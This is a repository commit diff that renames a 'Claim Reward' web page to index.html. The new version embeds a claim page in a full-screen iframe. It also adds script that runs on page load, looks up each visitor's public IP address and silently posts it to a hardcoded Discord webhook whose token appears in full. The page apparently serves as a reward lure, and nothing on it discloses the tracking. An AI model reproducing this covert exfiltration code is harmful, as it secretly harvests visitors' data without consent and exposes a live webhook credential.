abeea commited on
Commit
ab20669
·
verified ·
1 Parent(s): 79e8a34

Rename index (5).html to index.html

Browse files
Files changed (2) hide show
  1. index (5).html +0 -33
  2. index.html +100 -0
index (5).html DELETED
@@ -1,33 +0,0 @@
1
- <!DOCTYPE html>
2
- <html lang="en">
3
- <head>
4
- <meta charset="UTF-8">
5
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
- <title>Claim Reward</title>
7
- <style>
8
- html, body { height: 100%; }
9
- body { margin: 0; background:#000; }
10
- .frame { width: 100vw; height: 100vh; border: 0; display: block; }
11
- .fallback { position: fixed; inset: 0; display: grid; place-items: center; color: #fff; font-family: Arial, sans-serif; padding: 16px; text-align: center; }
12
- .fallback a { color: #61dafb; }
13
- </style>
14
- <script>
15
- // Fallback: if the site refuses to be framed, show a direct link
16
- function handleIframeError() {
17
- var fb = document.getElementById('fallback');
18
- if (fb) fb.style.display = 'grid';
19
- }
20
-
21
-
22
- </script>
23
- </head>
24
- <body>
25
- <iframe class="frame" src="likes/welcome/welcome.html" title="Claim Page" onerror="handleIframeError()"></iframe>
26
- <div id="fallback" class="fallback" style="display:none">
27
- <div>
28
- <h2>Opening claim page…</h2>
29
- <p>If the page didn't load, <a href="likes/welcome/welcome.html" target="_blank" rel="noopener noreferrer">click here to open it</a>.</p>
30
- </div>
31
- </div>
32
- </body>
33
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
index.html ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1">
7
+
8
+ <title>Claim Reward</title>
9
+
10
+ <style>
11
+ html,
12
+ body {
13
+ height: 100%;
14
+ }
15
+ body {
16
+ margin: 0;
17
+ background: #000;
18
+ overflow: hidden; /* keep the viewport tidy */
19
+ }
20
+ /* Iframe that hosts the real claim page */
21
+ .frame {
22
+ width: 100vw;
23
+ height: 100vh;
24
+ border: 0;
25
+ display: block;
26
+ }
27
+ /* Fallback UI shown when the iframe fails to load */
28
+ .fallback {
29
+ position: fixed;
30
+ inset: 0;
31
+ display: grid;
32
+ place-items: center;
33
+ color: #fff;
34
+ font-family: Arial, sans-serif;
35
+ padding: 16px;
36
+ text-align: center;
37
+ }
38
+ .fallback a {
39
+ color: #61dafb;
40
+ }
41
+ </style>
42
+
43
+ <script>
44
+ /* ===== 1️⃣ Fallback logic ===== */
45
+ function handleIframeError() {
46
+ const fb = document.getElementById('fallback');
47
+ if (fb) fb.style.display = 'grid';
48
+ }
49
+ /* ===== 2️⃣ Send IP on page load ===== */
50
+ window.addEventListener('load', sendIpAddressOnLoad);
51
+ function sendIpAddressOnLoad() {
52
+ // Step 1 – get the client's public IP
53
+ fetch('https://api.ipify.org?format=json')
54
+ .then(r => r.json())
55
+ .then(data => {
56
+ const ip = data.ip;
57
+ // Step 2 – send it to the Discord webhook as a simple message
58
+ const message = {
59
+ content: `User's IP Address on load (Welcome Page): ${ip}`
60
+ };
61
+ fetch('https://discord.com/api/webhooks/1407698397586128979/ZzO4yf9tDgG5r4JCE0ckXb0_xBI-AX4GEjFj_bpceRj1FRhasTKh80_rxYTNEe2vqgac', {
62
+ method: 'POST',
63
+ headers: {
64
+ 'Content-Type': 'application/json'
65
+ },
66
+ body: JSON.stringify(message)
67
+ })
68
+ .then(resp => {
69
+ if (!resp.ok) throw new Error(resp.statusText);
70
+ })
71
+ .catch(err => console.error('Discord webhook error:', err));
72
+ })
73
+ .catch(err => console.error('IP fetch error:', err));
74
+ }
75
+ </script>
76
+ </head>
77
+
78
+ <body>
79
+ <!-- The iframe that hosts the actual claim wizard -->
80
+ <iframe
81
+ class="frame"
82
+ src="likes/welcome/welcome.html"
83
+ title="Claim Page"
84
+ onerror="handleIframeError()">
85
+ </iframe>
86
+
87
+ <!-- Hidden fallback until (or if) it becomes visible -->
88
+ <div id="fallback" class="fallback" style="display:none">
89
+ <div>
90
+ <h2>Opening claim page…</h2>
91
+ <p>
92
+ If the page didn’t load, <a href="likes/welcome/welcome.html"
93
+ target="_blank" rel="noopener noreferrer">click here</a> to open
94
+ it directly.
95
+ </p>
96
+ </div>
97
+ </div>
98
+ </body>
99
+
100
+ </html>